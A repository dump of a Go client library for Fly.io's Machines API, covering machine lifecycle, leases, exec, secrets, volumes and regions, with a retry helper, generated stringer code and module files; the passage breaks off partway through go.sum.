http.MethodDelete, destroyEndpoint, nil, nil, headers); err != nil { 267 | return fmt.Errorf("failed to destroy VM %s: %w", input.ID, err) 268 | } 269 | 270 | return 271 | } 272 | 273 | func (f *Client) Kill(ctx context.Context, machineID string) (err error) { 274 | in := map[string]interface{}{ 275 | "signal": 9, 276 | } 277 | ctx = contextWithAction(ctx, machineKill) 278 | ctx = contextWithMachineID(ctx, machineID) 279 | 280 | err = f.sendRequestMachines(ctx, http.MethodPost, fmt.Sprintf("/%s/signal", machineID), in, nil, nil) 281 | 282 | if err != nil { 283 | return fmt.Errorf("failed to kill VM %s: %w", machineID, err) 284 | } 285 | return 286 | } 287 | 288 | func (f *Client) FindLease(ctx context.Context, machineID string) (*fly.MachineLease, error) { 289 | endpoint := fmt.Sprintf("/%s/lease", machineID) 290 | 291 | out := new(fly.MachineLease) 292 | ctx = contextWithAction(ctx, machineFindLease) 293 | ctx = contextWithMachineID(ctx, machineID) 294 | 295 | err := f.sendRequestMachines(ctx, http.MethodGet, endpoint, nil, out, nil) 296 | if err != nil { 297 | return nil, fmt.Errorf("failed to get lease on VM %s: %w", machineID, err) 298 | } 299 | return out, nil 300 | } 301 | 302 | func (f *Client) AcquireLease(ctx context.Context, machineID string, ttl *int) (*fly.MachineLease, error) { 303 | endpoint := fmt.Sprintf("/%s/lease", machineID) 304 | 305 | if ttl != nil { 306 | endpoint += fmt.Sprintf("?ttl=%d", *ttl) 307 | } 308 | 309 | out := new(fly.MachineLease) 310 | ctx = contextWithAction(ctx, machineAcquireLease) 311 | ctx = contextWithMachineID(ctx, machineID) 312 | 313 | var op func() error = func() error { 314 | err := f.sendRequestMachines(ctx, http.MethodPost, endpoint, nil, out, nil) 315 | if err != nil { 316 | return fmt.Errorf("failed to get lease on VM %s: %w", machineID, err) 317 | } 318 | if ferr, ok := err.(*FlapsError); ok && slices.Contains([]int{409}, ferr.ResponseStatusCode) { 319 | return err 320 | } 321 | return backoff.Permanent(err) 322 | } 323 | if err := Retry(ctx, op); err != nil { 324 | return nil, err 325 | } 326 | return out, nil 327 | } 328 | 329 | func (f *Client) RefreshLease(ctx context.Context, machineID string, ttl *int, nonce string) (*fly.MachineLease, error) { 330 | endpoint := fmt.Sprintf("/%s/lease", machineID) 331 | if ttl != nil { 332 | endpoint += fmt.Sprintf("?ttl=%d", *ttl) 333 | } 334 | headers := make(map[string][]string) 335 | headers[NonceHeader] = []string{nonce} 336 | out := new(fly.MachineLease) 337 | ctx = contextWithAction(ctx, machineRefreshLease) 338 | ctx = contextWithMachineID(ctx, machineID) 339 | 340 | err := f.sendRequestMachines(ctx, http.MethodPost, endpoint, nil, out, headers) 341 | if err != nil { 342 | return nil, fmt.Errorf("failed to get lease on VM %s: %w", machineID, err) 343 | } 344 | return out, nil 345 | } 346 | 347 | func (f *Client) ReleaseLease(ctx context.Context, machineID, nonce string) error { 348 | endpoint := fmt.Sprintf("/%s/lease", machineID) 349 | 350 | headers := make(map[string][]string) 351 | 352 | if nonce != "" { 353 | headers[NonceHeader] = []string{nonce} 354 | } 355 | 356 | ctx = contextWithAction(ctx, machineReleaseLease) 357 | ctx = contextWithMachineID(ctx, machineID) 358 | 359 | return f.sendRequestMachines(ctx, http.MethodDelete, endpoint, nil, nil, headers) 360 | } 361 | 362 | func (f *Client) Exec(ctx context.Context, machineID string, in *fly.MachineExecRequest) (*fly.MachineExecResponse, error) { 363 | endpoint := fmt.Sprintf("/%s/exec", machineID) 364 | 365 | out := new(fly.MachineExecResponse) 366 | ctx = contextWithAction(ctx, machineExec) 367 | ctx = contextWithMachineID(ctx, machineID) 368 | 369 | err := f.sendRequestMachines(ctx, http.MethodPost, endpoint, in, out, nil) 370 | if err != nil { 371 | return nil, fmt.Errorf("failed to exec on VM %s: %w", machineID, err) 372 | } 373 | return out, nil 374 | } 375 | 376 | func (f *Client) GetProcesses(ctx context.Context, machineID string) (fly.MachinePsResponse, error) { 377 | endpoint := fmt.Sprintf("/%s/ps", machineID) 378 | 379 | var out fly.MachinePsResponse 380 | ctx = contextWithAction(ctx, machinePs) 381 | ctx = contextWithMachineID(ctx, machineID) 382 | 383 | err := f.sendRequestMachines(ctx, http.MethodGet, endpoint, nil, &out, nil) 384 | if err != nil { 385 | return nil, fmt.Errorf("failed to get processes from VM %s: %w", machineID, err) 386 | } 387 | 388 | return out, nil 389 | } 390 | 391 | func (f *Client) Cordon(ctx context.Context, machineID string, nonce string) (err error) { 392 | headers := make(map[string][]string) 393 | if nonce != "" { 394 | headers[NonceHeader] = []string{nonce} 395 | } 396 | 397 | ctx = contextWithAction(ctx, machineCordon) 398 | ctx = contextWithMachineID(ctx, machineID) 399 | 400 | if err := f.sendRequestMachines(ctx, http.MethodPost, fmt.Sprintf("/%s/cordon", machineID), nil, nil, headers); err != nil { 401 | return fmt.Errorf("failed to cordon VM: %w", err) 402 | } 403 | 404 | return nil 405 | } 406 | 407 | func (f *Client) Uncordon(ctx context.Context, machineID string, nonce string) (err error) { 408 | headers := make(map[string][]string) 409 | if nonce != "" { 410 | headers[NonceHeader] = []string{nonce} 411 | } 412 | 413 | ctx = contextWithAction(ctx, machineUncordon) 414 | ctx = contextWithMachineID(ctx, machineID) 415 | 416 | if err := f.sendRequestMachines(ctx, http.MethodPost, fmt.Sprintf("/%s/uncordon", machineID), nil, nil, headers); err != nil { 417 | return fmt.Errorf("failed to uncordon VM: %w", err) 418 | } 419 | 420 | return nil 421 | } 422 | 423 | func (f *Client) SetMetadata(ctx context.Context, machineID, key, value string) error { 424 | endpoint := fmt.Sprintf("/%s/metadata/%s", machineID, key) 425 | 426 | ctx = contextWithAction(ctx, metadataSet) 427 | ctx = contextWithMachineID(ctx, machineID) 428 | in := map[string]interface{}{ 429 | "value": value, 430 | } 431 | 432 | err := f.sendRequestMachines(ctx, http.MethodPost, endpoint, in, nil, nil) 433 | if err != nil { 434 | return fmt.Errorf("failed to set metadata for %s: %w", machineID, err) 435 | } 436 | 437 | return nil 438 | } 439 | 440 | func (f *Client) GetMetadata(ctx context.Context, machineID string) (map[string]string, error) { 441 | endpoint := fmt.Sprintf("/%s/metadata", machineID) 442 | 443 | ctx = contextWithAction(ctx, metadataGet) 444 | ctx = contextWithMachineID(ctx, machineID) 445 | out := map[string]string{} 446 | 447 | err := f.sendRequestMachines(ctx, http.MethodGet, endpoint, nil, &out, nil) 448 | if err != nil { 449 | return out, fmt.Errorf("failed to get metadata for %s: %w", machineID, err) 450 | } 451 | 452 | return out, nil 453 | } 454 | 455 | func (f *Client) DeleteMetadata(ctx context.Context, machineID, key string) error { 456 | ctx = contextWithAction(ctx, metadataDel) 457 | ctx = contextWithMachineID(ctx, machineID) 458 | endpoint := fmt.Sprintf("/%s/metadata/%s", machineID, key) 459 | 460 | err := f.sendRequestMachines(ctx, http.MethodDelete, endpoint, nil, nil, nil) 461 | if err != nil { 462 | return fmt.Errorf("failed to delete metadata for %s: %w", machineID, err) 463 | } 464 | 465 | return nil 466 | } 467 | 468 | func (f *Client) Suspend(ctx context.Context, machineID, nonce string) error { 469 | suspendEndpoint := fmt.Sprintf("/%s/suspend", machineID) 470 | 471 | headers := make(map[string][]string) 472 | if nonce != "" { 473 | headers[NonceHeader] = []string{nonce} 474 | } 475 | 476 | ctx = contextWithAction(ctx, machineSuspend) 477 | ctx = contextWithMachineID(ctx, machineID) 478 | 479 | if err := f.sendRequestMachines(ctx, http.MethodPost, suspendEndpoint, nil, nil, headers); err != nil { 480 | return fmt.Errorf("failed to suspend VM %s: %w", machineID, err) 481 | } 482 | 483 | return nil 484 | } 485 | -------------------------------------------------------------------------------- /flaps/flaps_platform.go: -------------------------------------------------------------------------------- 1 | package flaps 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "net/http" 7 | 8 | "github.com/disastrousdr/fly-go" 9 | ) 10 | 11 | func (f *Client) GetRegions(ctx context.Context, size string) ([]fly.Region, error) { 12 | ctx = contextWithAction(ctx, regionsGet) 13 | endpoint := "/platform/regions" 14 | if size != "" { 15 | endpoint += fmt.Sprintf("?size=%s", size) 16 | } 17 | regions := &struct{ Regions []fly.Region }{} 18 | if err := f._sendRequest(ctx, http.MethodGet, endpoint, nil, regions, nil); err != nil { 19 | return nil, fmt.Errorf("failed to get regions: %w", err) 20 | } 21 | return regions.Regions, nil 22 | } 23 | -------------------------------------------------------------------------------- /flaps/flaps_secrets.go: -------------------------------------------------------------------------------- 1 | package flaps 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "net/http" 7 | 8 | fly "github.com/disastrousdr/fly-go" 9 | ) 10 | 11 | func (f *Client) sendRequestSecrets(ctx context.Context, method, endpoint string, in, out interface{}, headers map[string][]string) error { 12 | endpoint = fmt.Sprintf("/apps/%s/secrets%s", f.appName, endpoint) 13 | return f._sendRequest(ctx, method, endpoint, in, out, headers) 14 | } 15 | 16 | func (f *Client) ListSecrets(ctx context.Context) ([]fly.ListSecret, error) { 17 | ctx = contextWithAction(ctx, secretsList) 18 | 19 | out := make([]fly.ListSecret, 0) 20 | if err := f.sendRequestSecrets(ctx, http.MethodGet, "", nil, &out, nil); err != nil { 21 | return nil, fmt.Errorf("failed to list secrets: %w", err) 22 | } 23 | 24 | return out, nil 25 | } 26 | 27 | func (f *Client) CreateSecret(ctx context.Context, sLabel, sType string, in fly.CreateSecretRequest) error { 28 | ctx = contextWithAction(ctx, secretCreate) 29 | 30 | path := fmt.Sprintf("/%s/type/%s", sLabel, sType) 31 | if err := f.sendRequestSecrets(ctx, http.MethodPost, path, in, nil, nil); err != nil { 32 | return fmt.Errorf("failed to create secret: %w", err) 33 | } 34 | 35 | return nil 36 | } 37 | 38 | func (f *Client) GenerateSecret(ctx context.Context, sLabel, sType string) error { 39 | ctx = contextWithAction(ctx, secretGenerate) 40 | 41 | path := fmt.Sprintf("/%s/type/%s/generate", sLabel, sType) 42 | if err := f.sendRequestSecrets(ctx, http.MethodPost, path, nil, nil, nil); err != nil { 43 | return fmt.Errorf("failed to create secret: %w", err) 44 | } 45 | 46 | return nil 47 | } 48 | 49 | func (f *Client) DeleteSecret(ctx context.Context, label string) error { 50 | ctx = contextWithAction(ctx, secretDelete) 51 | 52 | endpoint := fmt.Sprintf("/%s", label) 53 | if err := f.sendRequestSecrets(ctx, http.MethodDelete, endpoint, nil, nil, nil); err != nil { 54 | return fmt.Errorf("failed to delete secret: %w", err) 55 | } 56 | 57 | return nil 58 | } 59 | -------------------------------------------------------------------------------- /flaps/flaps_test.go: -------------------------------------------------------------------------------- 1 | package flaps 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func TestSnakeCase(t *testing.T) { 8 | type testcase struct { 9 | name string 10 | in string 11 | want string 12 | } 13 | 14 | cases := []testcase{ 15 | {name: "case1", in: "fooBar", want: "foo_bar"}, 16 | {name: "case2", in: appCreate.String(), want: "app_create"}, 17 | } 18 | for _, tc := range cases { 19 | got := snakeCase(tc.in) 20 | if got != tc.want { 21 | t.Errorf("%s, got '%v', want '%v'", tc.name, got, tc.want) 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /flaps/flaps_volumes.go: -------------------------------------------------------------------------------- 1 | package flaps 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "net/http" 7 | "slices" 8 | 9 | fly "github.com/disastrousdr/fly-go" 10 | ) 11 | 12 | var destroyedVolumeStates = []string{"scheduling_destroy", "fork_cleanup", "waiting_for_detach", "pending_destroy", "destroying"} 13 | 14 | func (f *Client) sendRequestVolumes(ctx context.Context, method, endpoint string, in, out interface{}, headers map[string][]string) error { 15 | endpoint = fmt.Sprintf("/apps/%s/volumes%s", f.appName, endpoint) 16 | return f._sendRequest(ctx, method, endpoint, in, out, headers) 17 | } 18 | 19 | func (f *Client) GetAllVolumes(ctx context.Context) ([]fly.Volume, error) { 20 | listVolumesEndpoint := "" 21 | 22 | out := make([]fly.Volume, 0) 23 | ctx = contextWithAction(ctx, volumeList) 24 | 25 | err := f.sendRequestVolumes(ctx, http.MethodGet, listVolumesEndpoint, nil, &out, nil) 26 | if err != nil { 27 | return nil, fmt.Errorf("failed to list volumes: %w", err) 28 | } 29 | return out, nil 30 | } 31 | 32 | func (f *Client) GetVolumes(ctx context.Context) ([]fly.Volume, error) { 33 | volumes, err := f.GetAllVolumes(ctx) 34 | if err != nil { 35 | return nil, err 36 | } 37 | 38 | volumes = slices.DeleteFunc(volumes, func(v fly.Volume) bool { 39 | return slices.Contains(destroyedVolumeStates, v.State) 40 | }) 41 | 42 | return volumes, nil 43 | } 44 | 45 | func (f *Client) CreateVolume(ctx context.Context, req fly.CreateVolumeRequest) (*fly.Volume, error) { 46 | createVolumeEndpoint := "" 47 | 48 | out := new(fly.Volume) 49 | ctx = contextWithAction(ctx, volumeCreate) 50 | 51 | err := f.sendRequestVolumes(ctx, http.MethodPost, createVolumeEndpoint, req, out, nil) 52 | if err != nil { 53 | return nil, fmt.Errorf("failed to create volume: %w", err) 54 | } 55 | return out, nil 56 | } 57 | 58 | func (f *Client) UpdateVolume(ctx context.Context, volumeId string, req fly.UpdateVolumeRequest) (*fly.Volume, error) { 59 | updateVolumeEndpoint := fmt.Sprintf("/%s", volumeId) 60 | 61 | out := new(fly.Volume) 62 | ctx = contextWithAction(ctx, volumetUpdate) 63 | 64 | err := f.sendRequestVolumes(ctx, http.MethodPut, updateVolumeEndpoint, req, out, nil) 65 | if err != nil { 66 | return nil, fmt.Errorf("failed to update volume: %w", err) 67 | } 68 | return out, nil 69 | } 70 | 71 | func (f *Client) GetVolume(ctx context.Context, volumeId string) (*fly.Volume, error) { 72 | getVolumeEndpoint := fmt.Sprintf("/%s", volumeId) 73 | 74 | out := new(fly.Volume) 75 | ctx = contextWithAction(ctx, volumeGet) 76 | 77 | err := f.sendRequestVolumes(ctx, http.MethodGet, getVolumeEndpoint, nil, out, nil) 78 | if err != nil { 79 | return nil, fmt.Errorf("failed to get volume %s: %w", volumeId, err) 80 | } 81 | return out, nil 82 | } 83 | 84 | func (f *Client) GetVolumeSnapshots(ctx context.Context, volumeId string) ([]fly.VolumeSnapshot, error) { 85 | getVolumeSnapshotsEndpoint := fmt.Sprintf("/%s/snapshots", volumeId) 86 | 87 | out := make([]fly.VolumeSnapshot, 0) 88 | ctx = contextWithAction(ctx, volumeSnapshotList) 89 | 90 | err := f.sendRequestVolumes(ctx, http.MethodGet, getVolumeSnapshotsEndpoint, nil, &out, nil) 91 | if err != nil { 92 | return nil, fmt.Errorf("failed to get volume %s snapshots: %w", volumeId, err) 93 | } 94 | return out, nil 95 | } 96 | 97 | func (f *Client) CreateVolumeSnapshot(ctx context.Context, volumeId string) error { 98 | ctx = contextWithAction(ctx, volumeSnapshotCreate) 99 | 100 | err := f.sendRequestVolumes( 101 | ctx, http.MethodPost, fmt.Sprintf("/%s/snapshots", volumeId), 102 | nil, nil, nil, 103 | ) 104 | if err != nil { 105 | return fmt.Errorf("failed to snapshot %s: %w", volumeId, err) 106 | } 107 | return nil 108 | } 109 | 110 | type ExtendVolumeRequest struct { 111 | SizeGB int `json:"size_gb"` 112 | } 113 | 114 | type ExtendVolumeResponse struct { 115 | Volume *fly.Volume `json:"volume"` 116 | NeedsRestart bool `json:"needs_restart"` 117 | } 118 | 119 | func (f *Client) ExtendVolume(ctx context.Context, volumeId string, size_gb int) (*fly.Volume, bool, error) { 120 | extendVolumeEndpoint := fmt.Sprintf("/%s/extend", volumeId) 121 | 122 | req := ExtendVolumeRequest{ 123 | SizeGB: size_gb, 124 | } 125 | 126 | out := new(ExtendVolumeResponse) 127 | ctx = contextWithAction(ctx, volumeExtend) 128 | 129 | err := f.sendRequestVolumes(ctx, http.MethodPut, extendVolumeEndpoint, req, out, nil) 130 | if err != nil { 131 | return nil, false, fmt.Errorf("failed to extend volume %s: %w", volumeId, err) 132 | } 133 | return out.Volume, out.NeedsRestart, nil 134 | } 135 | 136 | func (f *Client) DeleteVolume(ctx context.Context, volumeId string) (*fly.Volume, error) { 137 | destroyVolumeEndpoint := fmt.Sprintf("/%s", volumeId) 138 | 139 | out := new(fly.Volume) 140 | ctx = contextWithAction(ctx, volumeDelete) 141 | 142 | err := f.sendRequestVolumes(ctx, http.MethodDelete, destroyVolumeEndpoint, nil, out, nil) 143 | if err != nil { 144 | return nil, fmt.Errorf("failed to destroy volume %s: %w", volumeId, err) 145 | } 146 | return out, nil 147 | } 148 | -------------------------------------------------------------------------------- /flaps/flapsaction_string.go: -------------------------------------------------------------------------------- 1 | // Code generated by "stringer -type=flapsAction"; DO NOT EDIT. 2 | 3 | package flaps 4 | 5 | import "strconv" 6 | 7 | func _() { 8 | // An "invalid array index" compiler error signifies that the constant values have changed. 9 | // Re-run the stringer command to generate them again. 10 | var x [1]struct{} 11 | _ = x[none-0] 12 | _ = x[appCreate-1] 13 | _ = x[machineLaunch-2] 14 | _ = x[machineUpdate-3] 15 | _ = x[machineStart-4] 16 | _ = x[machineWait-5] 17 | _ = x[machineStop-6] 18 | _ = x[machineRestart-7] 19 | _ = x[machineGet-8] 20 | _ = x[machineList-9] 21 | _ = x[machineDestroy-10] 22 | _ = x[machineKill-11] 23 | _ = x[machineFindLease-12] 24 | _ = x[machineAcquireLease-13] 25 | _ = x[machineRefreshLease-14] 26 | _ = x[machineReleaseLease-15] 27 | _ = x[machineExec-16] 28 | _ = x[machinePs-17] 29 | _ = x[machineCordon-18] 30 | _ = x[machineUncordon-19] 31 | _ = x[machineSuspend-20] 32 | _ = x[secretCreate-21] 33 | _ = x[secretDelete-22] 34 | _ = x[secretGenerate-23] 35 | _ = x[secretsList-24] 36 | _ = x[volumeList-25] 37 | _ = x[volumeCreate-26] 38 | _ = x[volumetUpdate-27] 39 | _ = x[volumeGet-28] 40 | _ = x[volumeSnapshotCreate-29] 41 | _ = x[volumeSnapshotList-30] 42 | _ = x[volumeExtend-31] 43 | _ = x[volumeDelete-32] 44 | _ = x[metadataSet-33] 45 | _ = x[metadataGet-34] 46 | _ = x[metadataDel-35] 47 | _ = x[regionsGet-36] 48 | } 49 | 50 | const _flapsAction_name = "noneappCreatemachineLaunchmachineUpdatemachineStartmachineWaitmachineStopmachineRestartmachineGetmachineListmachineDestroymachineKillmachineFindLeasemachineAcquireLeasemachineRefreshLeasemachineReleaseLeasemachineExecmachinePsmachineCordonmachineUncordonmachineSuspendsecretCreatesecretDeletesecretGeneratesecretsListvolumeListvolumeCreatevolumetUpdatevolumeGetvolumeSnapshotCreatevolumeSnapshotListvolumeExtendvolumeDeletemetadataSetmetadataGetmetadataDelregionsGet" 51 | 52 | var _flapsAction_index = [...]uint16{0, 4, 13, 26, 39, 51, 62, 73, 87, 97, 108, 122, 133, 149, 168, 187, 206, 217, 226, 239, 254, 268, 280, 292, 306, 317, 327, 339, 352, 361, 381, 399, 411, 423, 434, 445, 456, 466} 53 | 54 | func (i flapsAction) String() string { 55 | if i < 0 || i >= flapsAction(len(_flapsAction_index)-1) { 56 | return "flapsAction(" + strconv.FormatInt(int64(i), 10) + ")" 57 | } 58 | return _flapsAction_name[_flapsAction_index[i]:_flapsAction_index[i+1]] 59 | } 60 | -------------------------------------------------------------------------------- /flaps/retry.go: -------------------------------------------------------------------------------- 1 | package flaps 2 | 3 | import ( 4 | "context" 5 | "time" 6 | 7 | "github.com/cenkalti/backoff/v4" 8 | ) 9 | 10 | // Retry the given operation with exponential backoff up to 1 minute. 11 | func Retry(ctx context.Context, op func() error) error { 12 | bo := backoff.NewExponentialBackOff() 13 | bo.InitialInterval = 100 * time.Millisecond 14 | bo.MaxInterval = 500 * time.Millisecond 15 | bo.MaxElapsedTime = 1 * time.Minute 16 | bo.RandomizationFactor = 0.5 17 | bo.Multiplier = 2 18 | bo.Reset() 19 | return backoff.Retry(op, backoff.WithContext(bo, ctx)) 20 | } 21 | -------------------------------------------------------------------------------- /fly.go: -------------------------------------------------------------------------------- 1 | package fly 2 | 3 | import "slices" 4 | 5 | //go:generate go run github.com/Khan/genqlient 6 | 7 | // MergeFiles merges the files parsed from the command line or fly.toml into the machine configuration. 8 | func MergeFiles(machineConf *MachineConfig, files []*File) { 9 | for _, f := range files { 10 | idx := slices.IndexFunc(machineConf.Files, func(i *File) bool { 11 | return i.GuestPath == f.GuestPath 12 | }) 13 | 14 | switch { 15 | case idx == -1: 16 | machineConf.Files = append(machineConf.Files, f) 17 | continue 18 | case f.RawValue == nil && f.SecretName == nil: 19 | machineConf.Files = slices.Delete(machineConf.Files, idx, idx+1) 20 | default: 21 | machineConf.Files = slices.Replace(machineConf.Files, idx, idx+1, f) 22 | } 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /genqlient.yaml: -------------------------------------------------------------------------------- 1 | # Default genqlient config; for full documentation see: 2 | # https://github.com/Khan/genqlient/blob/main/docs/genqlient.yaml 3 | schema: schema.graphql 4 | operations: 5 | - "*.go" 6 | bindings: 7 | JSON: 8 | type: interface{} 9 | BigInt: 10 | type: int64 11 | ISO8601DateTime: 12 | type: time.Time 13 | generated: genqlient.go 14 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/disastrousdr/fly-go 2 | 3 | go 1.21 4 | 5 | require ( 6 | github.com/Khan/genqlient v0.7.1-0.20240819060157-4466fc10e4f3 7 | github.com/PuerkitoBio/rehttp v1.4.0 8 | github.com/superfly/graphql v0.2.6 9 | github.com/superfly/macaroon v0.3.0 10 | go.opentelemetry.io/otel v1.27.0 11 | go.opentelemetry.io/otel/trace v1.27.0 12 | golang.org/x/crypto v0.31.0 13 | golang.org/x/exp v0.0.0-20240416160154-fe59bbe5cc7f 14 | ) 15 | 16 | require ( 17 | github.com/agnivade/levenshtein v1.1.1 // indirect 18 | github.com/alexflint/go-arg v1.4.2 // indirect 19 | github.com/alexflint/go-scalar v1.0.0 // indirect 20 | github.com/bmatcuk/doublestar/v4 v4.6.1 // indirect 21 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc // indirect 22 | github.com/felixge/httpsnoop v1.0.4 // indirect 23 | github.com/hashicorp/go-cleanhttp v0.5.2 // indirect 24 | github.com/kr/pretty v0.3.1 // indirect 25 | github.com/pmezard/go-difflib v1.0.1-0.20181226105442-5d4384ee4fb2 // indirect 26 | github.com/rogpeppe/go-internal v1.12.0 // indirect 27 | golang.org/x/mod v0.17.0 // indirect 28 | golang.org/x/net v0.30.0 // indirect 29 | golang.org/x/sync v0.7.0 // indirect 30 | golang.org/x/tools v0.20.0 // indirect 31 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c // indirect 32 | gopkg.in/yaml.v2 v2.4.0 // indirect 33 | ) 34 | 35 | require ( 36 | github.com/cenkalti/backoff/v4 v4.3.0 37 | github.com/go-logr/logr v1.4.2 // indirect 38 | github.com/go-logr/stdr v1.2.2 // indirect 39 | github.com/google/go-querystring v1.1.0 40 | github.com/google/uuid v1.6.0 // indirect 41 | github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect 42 | github.com/pkg/errors v0.9.1 // indirect 43 | github.com/sirupsen/logrus v1.9.3 // indirect 44 | github.com/vektah/gqlparser/v2 v2.5.16 // indirect 45 | github.com/vmihailenco/msgpack/v5 v5.4.1 // indirect 46 | github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect 47 | go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.52.0 48 | go.opentelemetry.io/otel/metric v1.27.0 // indirect 49 | golang.org/x/sys v0.28.0 // indirect 50 | ) 51 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/Khan/genqlient v0.7.1-0.20240819060157-4466fc10e4f3 h1:tLgg6xDhCddhmU3rT1bVOv0VeTU5i1rCXPHbWT8ugD0= 2 | github.com/Khan/genqlient v0.7.1-0.20240819060157-4466fc10e4f3/go.mod h1:jNiMcTbO4wd9h1jIjEe5+k+au3kC4WasHBgmy/N/lto= 3 | github.com/PuerkitoBio/rehttp v1.4.0 h1:rIN7A2s+O9fmHUM1vUcInvlHj9Ysql4hE+Y0wcl/xk8= 4 | github.com/PuerkitoBio/rehttp v1.4.0/go.mod h1:LUwKPoDbDIA2RL5wYZCNsQ90cx4OJ4AWBmq6KzWZL1s= 5 | github.com/agnivade/levenshtein v1.1.1 h1:QY8M92nrzkmr798gCo3kmMyqXFzdQVpxLlGPRBij0P8= 6 | github.com/agnivade/levenshtein v1.1.1/go.mod h1:veldBMzWxcCG2ZvUTKD2kJNRdCk5hVbJomOvKkmgYbo= 7 | github.com/alecthomas/assert/v2 v2.3.0 h1:mAsH2wmvjsuvyBvAmCtm7zFsBlb8mIHx5ySLVdDZXL0= 8 | github.com/alecthomas/assert/v2 v2.3.0/go.mod h1:pXcQ2Asjp247dahGEmsZ6ru0UVwnkhktn7S0bBDLxvQ= 9 | github.com/alecthomas/repr v0.2.0 h1:HAzS41CIzNW5syS8Mf9UwXhNH1J9aix/BvDRf1Ml2Yk= 10 | github.com/alecthomas/repr v0.2.0/go.mod h1:Fr0507jx4eOXV7AlPV6AVZLYrLIuIeSOWtW57eE/O/4= 11 | github.com/alexflint/go-arg v1.4.2 h1:lDWZAXxpAnZUq4qwb86p/3rIJJ2Li81EoMbTMujhVa0= 12 | github.com/alexflint/go-arg v1.4.2/go.mod h1:9iRbDxne7LcR/GSvEr7ma++GLpdIU1zrghf2y2768kM= 13 | github.com/alexflint/go-scalar v1.0.0 h1:NGupf1XV/Xb04wXskDFzS0KWOLH632W/EO4fAFi+A70= 14 | github.com/alexflint/go-scalar v1.0.0/go.mod h1:GpHzbCOZXEKMEcygYQ5n/aa4Aq84zbxjy3MxYW0gjYw= 15 | github.com/andreyvit/diff v0.0.0-20170406064948-c7f18ee00883 h1:bvNMNQO63//z+xNgfBlViaCIJKLlCJ6/fmUseuG0wVQ= 16 | github.com/andreyvit/diff v0.0.0-20170406064948-c7f18ee00883/go.mod h1:rCTlJbsFo29Kk6CurOXKm700vrz8f0KW0JNfpkRJY/8= 17 | github.com/arbovm/levenshtein v0.0.0-20160628152529-48b4e1c0c4d0 h1:jfIu9sQUG6Ig+0+Ap1h4unLjW6YQJpKZVmUzxsD4E/Q= 18 | github.com/arbovm/levenshtein v0.0.0-20160628152529-48b4e1c0c4d0/go.mod h1:t2tdKJDJF9BV14lnkjHmOQgcvEKgtqs5a1N3LNdJhGE= 19 | github.com/aybabtme/iocontrol v0.0.0-20150809002002-ad15bcfc95a0 h1:0NmehRCgyk5rljDQLKUO+cRJCnduDyn11+zGZIc9Z48= 20 | github.com/aybabtme/iocontrol v0.0.0-20150809002002-ad15bcfc95a0/go.mod h1:6L7zgvqo0idzI7IO8de6ZC051AfXb5ipkIJ7bIA2tGA= 21 | github.com/benbjohnson/clock v1.1.0 h1:Q92kusRqC1XV2MjkWETPvjJVqKetz1OzxZB7mHJLju8= 22 | github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= 23 | github.com/bmatcuk/doublestar/v4 v4.6.1 h1:FH9SifrbvJhnlQpztAx++wlkk70QBf0iBWDwNy7PA4I= 24 | github.com/bmatcuk/doublestar/v4 v4.6.1/go.mod h1:xBQ8jztBU6kakFMg+8WGxn0c6z1fTSPVIjEY1Wr7jzc= 25 | github.com/bradleyjkemp/cupaloy/v2 v2.6.0 h1:knToPYa2xtfg42U3I6punFEjaGFKWQRXJwj0JTv4mTs= 26 | github.com/bradleyjkemp/cupaloy/v2 v2.6.0/go.mod h1:bm7JXdkRd4BHJk9HpwqAI8BoAY1lps46Enkdqw6aRX0= 27 | github.com/cenkalti/backoff/v4 v4.3.0 h1:MyRJ/UdXutAwSAT+s3wNd7MfTIcy71VQueUuFK343L8= 28 | github.com/cenkalti/backoff/v4 v4.3.0/go.mod h1:Y3VNntkOUPxTVeUxJ/G5vcM//AlwfmyYozVcomhLiZE= 29 | github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= 30 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 31 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 32 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc h1:U9qPSI2PIWSS1VwoXQT9A3Wy9MM3WgvqSxFWenqJduM= 33 | github.com/davecgh/go-spew v1.1.2-0.20180830191138-d8f796af33cc/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 34 | github.com/dgryski/trifles v0.0.0-20200323201526-dd97f9abfb48 h1:fRzb/w+pyskVMQ+UbP35JkH8yB7MYb4q/qhBarqZE6g= 35 | github.com/dgryski/trifles v0.0.0-20200323201526-dd97f9abfb48/go.mod h1:if7Fbed8SFyPtHLHbg49SI7NAdJiC5WIA09pe59rfAA= 36 | github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= 37 | github.com/felixge/httpsnoop v1.0.4 h1:NFTV2Zj1bL4mc9sqWACXbQFVBBg2W3GPvqp8/ESS2Wg= 38 | github.com/felixge/httpsnoop v1.0.4/go.mod h1:m8KPJKqk1gH5J9DgRY2ASl2lWCfGKXixSwevea8zH2U= 39 | github.com/go-logr/logr v1.2.2/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= 40 | github.com/go-logr/logr v1.4.2 h1:6pFjapn8bFcIbiKo3XT4j/BhANplGihG6tvd+8rYgrY= 41 | github.com/go-logr/logr v1.4.2/go.mod 